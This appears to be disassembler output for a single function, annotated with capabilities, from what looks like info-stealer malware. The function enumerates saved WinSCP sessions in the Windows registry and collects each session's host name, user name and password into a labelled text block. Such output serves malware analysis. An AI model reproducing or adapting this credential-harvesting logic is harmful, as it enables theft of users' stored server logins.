Function at 0x1002a610
Capabilities:
Query or enumerate registry key
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3ac
mov eax, dword [0x101a49d4]
xor eax, esp
mov dword [esp + 0x3a8], eax
push ebx
push esi
push edi
lea eax, [esp + 0x24]
push eax
push 0x20019
push 0
push str.SoftwareMartin_PrikrylWinSCP_2Sessions
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x48]
push eax
lea eax, [esp + 0x34]
push eax
push 0
push 0
push 0
push dword [esp + 0x50]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
push ecx
push dword [esp + 0x1c]
lea ecx, [esp + 0x3c]
call fcn.10051980
mov ebx, dword [esp + 0x34]
xor esi, esi
mov dword [esp + 0x20], ebx
cmp dword [esp + 0x18], esi
jbe 0x1002a6ef
mov edi, ebx
nop
push 0
push 0
push 0
push 0
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0x104
push eax
lea eax, [esp + 0x1bc]
push eax
push esi
push dword [esp + 0x40]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x1002a6e5
lea eax, [esp + 0x1a8]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1002a6c6
sub eax, edx
mov ecx, edi
sar eax, 1
push eax
lea eax, [esp + 0x1ac]
push eax
call fcn.10051fd0
inc esi
add edi, 0x18
cmp esi, dword [esp + 0x18]
jb 0x1002a690
cmp ebx, dword [esp + 0x38]
je 0x1002b2a4
nop dword [eax]
mov edi, dword [ebx + 0x14]
mov ecx, ebx
mov esi, dword [ebx + 0x10]
cmp edi, 8
jb 0x1002a70f
mov ecx, dword [ebx]
push 7
push str.Default
push 0
mov edx, esi
call fcn.1005b900
add esp, 0xc
cmp eax, 0xffffffff
jne 0x1002b293
mov eax, 0x7ffffffe
sub eax, esi
cmp eax, 0x2a
jb 0x1002b2cc
mov eax, ebx
cmp edi, 8
jb 0x1002a744
mov eax, dword [ebx]
push esi
push eax
push 0x2a
push str.SoftwareMartin_PrikrylWinSCP_2Sessions_
push ecx
push dword [esp + 0x44]
lea ecx, [esp + 0x1a8]
call fcn.1005dba0
cmp dword [esp + 0x1a4], 8
lea ecx, [esp + 0x1c]
push ecx
push 0x20019
lea eax, [esp + 0x198]
cmovae eax, dword [esp + 0x198]
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, dword [esp + 0x1c]
lea ecx, [esp + 0x40]
push 0
push 0x100
mov dword [esp + 0x48], 0
mov dword [esp + 0x58], 0
mov dword [esp + 0x5c], 0xf
call fcn.10056060
mov eax, dword [esp + 0x50]
lea ecx, [esp + 0x28]
cmp dword [esp + 0x54], 0x10
mov ebx, dword [sym.imp.ADVAPI32.dll_RegGetValueA]
push ecx
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x44]
cmovae eax, dword [esp + 0x44]
push eax
push 0
push 2
push str.HostName
push 0
push esi
call ebx
push 0
push dword [esp + 0x2c]
lea ecx, [esp + 0x48]
call fcn.100527f0
mov esi, dword [esp + 0x1c]
lea ecx, [esp + 0x70]
push 0
push 0x100
mov dword [esp + 0x78], 0
mov dword [esp + 0x88], 0
mov dword [esp + 0x8c], 0xf
call fcn.10056060
mov eax, dword [esp + 0x80]
lea ecx, [esp + 0x2c]
cmp dword [esp + 0x84], 0x10
push ecx
mov dword [esp + 0x30], eax
lea eax, [esp + 0x74]
cmovae eax, dword [esp + 0x74]
push eax
push 0
push 2
push str.UserName
push 0
push esi
call ebx
push 0
push dword [esp + 0x30]
lea ecx, [esp + 0x78]
call fcn.100527f0
mov esi, dword [esp + 0x1c]
lea ecx, [esp + 0x88]
push 0
push 0x100
mov dword [esp + 0x90], 0
mov dword [esp + 0xa0], 0
mov dword [esp + 0xa4], 0xf
call fcn.10056060
mov eax, dword [esp + 0x98]
mov dword [esp + 0x14], eax
cmp dword [esp + 0x9c], 0x10
lea ecx, [esp + 0x14]
push ecx
lea eax, [esp + 0x8c]
cmovae eax, dword [esp + 0x8c]
push eax
push 0
push 2
push str.Password
push 0
push esi
call ebx
push 0
push dword [esp + 0x18]
lea ecx, [esp + 0x90]
call fcn.100527f0
mov edx, dword [esp + 0x80]
mov eax, closesocket
mov esi, dword [esp + 0x50]
sub eax, edx
cmp eax, esi
jb 0x1002b2cc
cmp dword [esp + 0x84], 0x10
lea ecx, [esp + 0x70]
push esi
cmovae ecx, dword [esp + 0x74]
lea eax, [esp + 0x44]
cmp dword [esp + 0x58], 0x10
cmovae eax, dword [esp + 0x44]
push eax
push edx
push ecx
push ecx
push dword [esp + 0x44]
lea ecx, [esp + 0x70]
call fcn.1005de20
mov esi, dword [esp + 0x6c]
lea eax, [esp + 0x58]
mov edx, dword [esp + 0x58]
lea ebx, [esp + 0x58]
cmp esi, 0x10
lea ecx, [esp + 0x58]
cmovae eax, edx
add eax, dword [esp + 0x68]
cmp esi, 0x10
mov dword [esp + 0x10], eax
cmovae ebx, edx
add ebx, dword [esp + 0x68]
cmp esi, 0x10
mov eax, ebx
cmovae ecx, edx
sub eax, ecx
push eax
push 0
push ecx
call fcn.1011cd50
mov esi, dword [esp + 0x74]
lea ecx, [esp + 0x64]
add esp, 0xc
test eax, eax
cmovne ebx, eax
cmp dword [esp + 0x6c], 0x10
lea eax, [esp + 0x58]
mov edi, ebx
cmovae eax, dword [esp + 0x58]
sub dword [esp + 0x10], ebx
sub edi, eax
mov ebx, dword [esp + 0x10]
mov eax, esi
sub eax, edi
cmp eax, ebx
cmovb ebx, eax
cmp dword [esp + 0x6c], 0x10
cmovae ecx, dword [esp + 0x58]
sub esi, ebx
add ecx, edi
mov dword [esp + 0x68], esi
sub esi, edi
inc esi
push esi
lea eax, [ecx + ebx]
push eax
push ecx
call fcn.1011b630
mov esi, dword [esp + 0x60]
lea eax, [esp + 0x4c]
mov edx, dword [esp + 0x4c]
lea ebx, [esp + 0x4c]
add esp, 0xc
lea ecx, [esp + 0x40]
cmp esi, 0x10
cmovae eax, edx
add eax, dword [esp + 0x50]
cmp esi, 0x10
mov dword [esp + 0x10], eax
cmovae ebx, edx
add ebx, dword [esp + 0x50]
cmp esi, 0x10
mov eax, ebx
cmovae ecx, edx
sub eax, ecx
push eax
push 0
push ecx
call fcn.1011cd50
mov esi, dword [esp + 0x5c]
lea ecx, [esp + 0x4c]
add esp, 0xc
test eax, eax
cmovne ebx, eax
cmp dword [esp + 0x54], 0x10
lea eax, [esp + 0x40]
mov edi, ebx
cmovae eax, dword [esp + 0x40]
sub dword [esp + 0x10], ebx
sub edi, eax
mov ebx, dword [esp + 0x10]
mov eax, esi
sub eax, edi
cmp eax, ebx
cmovb ebx, eax
cmp dword [esp + 0x54], 0x10
cmovae ecx, dword [esp + 0x40]
sub esi, ebx
add ecx, edi
mov dword [esp + 0x50], esi
sub esi, edi
inc esi
push esi
lea eax, [ecx + ebx]
push eax
push ecx
call fcn.1011b630
sub esp, 0xc
lea eax, [esp + 0x70]
mov ecx, esp
push eax
call fcn.10052c90
sub esp, 0x18
lea eax, [esp + 0xb8]
mov ecx, esp
push eax
call fcn.10052c90
lea ecx, [esp + 0xd0]
call fcn.10027bc0
mov esi, dword [esp + 0x80]
lea eax, [esp + 0x70]
mov edx, dword [esp + 0xe0]
lea ecx, [esp + 0xd0]
add esp, 0x30
cmp dword [esp + 0x54], 0x10
cmovae eax, dword [esp + 0x40]
cmp dword [esp + 0xb4], 0x10
push esi
cmovae ecx, dword [esp + 0xa4]
push eax
push ecx
call fcn.1005b990
add esp, 0xc
cmp eax, 0xffffffff
je 0x1002aadf
push 0
push ecx
push esi
push eax
lea ecx, [esp + 0xb0]
call fcn.10055ef0
push 7
push str.WINSCP_n
lea ecx, [esp + 0x168]
mov dword [esp + 0x168], 0
mov dword [esp + 0x178], 0
mov dword [esp + 0x17c], 0xf
call fcn.10056190
lea eax, [esp + 0x160]
mov edx, str._____________________nCLIENT:
push eax
lea ecx, [esp + 0x17c]
call fcn.10059a70
add esp, 4
mov ecx, eax
push str.USERNAME:
call fcn.100529a0
mov esi, eax
mov dword [esp + 0x148], 0
push 0x18
lea eax, [esp + 0x14c]
mov dword [esp + 0x15c], 0
push esi
push eax
mov dword [esp + 0x168], 0
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
lea eax, [esp + 0x70]
mov dword [esi + 0x14], 0xf
lea ecx, [esp + 0x148]
mov byte [esi], 0
push eax
call fcn.10052a70
mov esi, eax
mov dword [esp + 0x130], 0
push 0x18
lea eax, [esp + 0x134]
mov dword [esp + 0x144], 0
push esi
push eax
mov dword [esp + 0x150], 0
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
lea ecx, [esp + 0x130]
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
push str._nPASSWORD:
call fcn.100529a0
mov esi, eax
mov dword [esp + 0x118], 0
push 0x18
lea eax, [esp + 0x11c]
mov dword [esp + 0x12c], 0
push esi
push eax
mov dword [esp + 0x138], 0
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
lea eax, [esp + 0xa0]
mov dword [esi + 0x14], 0xf
lea ecx, [esp + 0x118]
mov byte [esi], 0
push eax
call fcn.10052a70
mov esi, eax
mov dword [esp + 0x100], 0
push 0x18
lea eax, [esp + 0x104]
mov dword [esp + 0x114], 0
push esi
push eax
mov dword [esp + 0x120], 0
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
lea ecx, [esp + 0x100]
mov byte [esi], 0
push str._nHOST:
call fcn.100529a0
mov esi, eax
mov dword [esp + 0xe8], 0
push 0x18
lea eax, [esp + 0xec]
mov dword [esp + 0xfc], 0
push esi
push eax
mov dword [esp + 0x108], 0
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
lea eax, [esp + 0x40]
mov dword [esi + 0x14], 0xf
lea ecx, [esp + 0xe8]
mov byte [esi], 0
push eax
call fcn.10052a70
mov esi, eax
mov dword [esp + 0xd0], 0
push 0x18
lea eax, [esp + 0xd4]
mov dword [esp + 0xe4], 0
push esi
push eax
mov dword [esp + 0xf0], 0
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
lea ecx, [esp + 0xd0]
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
push 0x1018e74c
call fcn.100529a0
mov esi, eax
mov dword [esp + 0xb8], 0
push 0x18
lea eax, [esp + 0xbc]
mov dword [esp + 0xcc], 0
push esi
push eax
mov dword [esp + 0xd8], 0
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
lea eax, [esp + 0xb8]
mov dword [esi + 0x14], 0xf
mov ecx, 0x101a6448
mov byte [esi], 0
push eax
call fcn.10052a70
mov edx, dword [esp + 0xcc]
cmp edx, 0x10
jb 0x1002ade3
mov ecx, dword [esp + 0xb8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002add9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b2d1
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [esp + 0xe4]
mov dword [esp + 0xc8], 0
mov dword [esp + 0xcc], 0xf
mov byte [esp + 0xb8], 0
cmp edx, 0x10
jb 0x1002ae3d
mov ecx, dword [esp + 0xd0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002ae33
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b2d1
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [esp + 0xfc]
mov dword [esp + 0xe0], 0
mov dword [esp + 0xe4], 0xf
mov byte [esp + 0xd0], 0
cmp edx, 0x10
jb 0x1002ae97
mov ecx, dword [esp + 0xe8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002ae8d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b2d1
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [esp + 0x114]
mov dword [esp + 0xf8], 0
mov dword [esp + 0xfc], 0xf
mov byte [esp + 0xe8], 0
cmp edx, 0x10
jb 0x1002aef1
mov ecx, dword [esp + 0x100]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002aee7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b2d1
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [esp + 0x12c]
mov dword [esp + 0x110], 0
mov dword [esp + 0x114], 0xf
mov byte [esp + 0x100], 0
cmp edx, 0x10
jb 0x1002af4b
mov ecx, dword [esp + 0x118]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002af41
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b2d1
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [esp + 0x144]
mov dword [esp + 0x128], 0
mov dword [esp + 0x12c], 0xf
mov byte [esp + 0x118], 0
cmp edx, 0x10
jb 0x1002afa5
mov ecx, dword [esp + 0x130]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002af9b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b2d1
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [esp + 0x15c]
mov dword [esp + 0x140], 0
mov dword [esp + 0x144], 0xf
mov byte [esp + 0x130], 0
cmp edx, 0x10
jb 0x1002afff
mov ecx, dword [esp + 0x148]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002aff5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b2d1
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [esp + 0x18c]
mov dword [esp + 0x158], 0
mov dword [esp + 0x15c], 0xf
mov byte [esp + 0x148], 0
cmp edx, 0x10
jb 0x1002b059
mov ecx, dword [esp + 0x178]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002b04f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b2d1
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [esp + 0x174]
mov dword [esp + 0x188], 0
mov dword [esp + 0x18c], 0xf
mov byte [esp + 0x178], 0
cmp edx, 0x10
jb 0x1002b0b3
mov ecx, dword [esp + 0x160]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002b0a9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b2d1
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [esp + 0xb4]
cmp edx, 0x10
jb 0x1002b0ef
mov ecx, dword [esp + 0xa0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002b0e5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b2d1
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [esp + 0x6c]
mov dword [esp + 0xb0], 0
mov dword [esp + 0xb4], 0xf
mov byte [esp + 0xa0], 0
cmp edx, 0x10
jb 0x1002b143
mov ecx, dword [esp + 0x58]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002b139
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b2d1
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [esp + 0x9c]
mov dword [esp + 0x68], 0
mov dword [esp + 0x6c], 0xf
mov byte [esp + 0x58], 0
cmp edx, 0x10
jb 0x1002b194
mov ecx, dword [esp + 0x88]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002b18a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b2d1
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [esp + 0x84]
mov dword [esp + 0x98], 0
mov dword [esp + 0x9c], 0xf
mov byte [esp + 0x88], 0
cmp edx, 0x10
jb 0x1002b1eb
mov ecx, dword [esp + 0x70]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002b1e1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b2d1
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [esp + 0x54]
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0xf
mov byte [esp + 0x70], 0
cmp edx, 0x10
jb 0x1002b23c
mov ecx, dword [esp + 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002b232
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b2d1
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [esp + 0x1a4]
mov dword [esp + 0x50], 0
mov dword [esp + 0x54], 0xf
mov byte [esp + 0x40], 0
cmp edx, 8
jb 0x1002b28f
mov ecx, dword [esp + 0x190]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1002b285
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b2d1
push edx
push ecx
call fcn.1011a823
add esp, 8
mov ebx, dword [esp + 0x20]
add ebx, 0x18
mov dword [esp + 0x20], ebx
cmp ebx, dword [esp + 0x38]
jne 0x1002a700
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x34]
call fcn.10055820
mov ecx, dword [esp + 0x3b4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
call fcn.10021260
call fcn.10125fc5
int3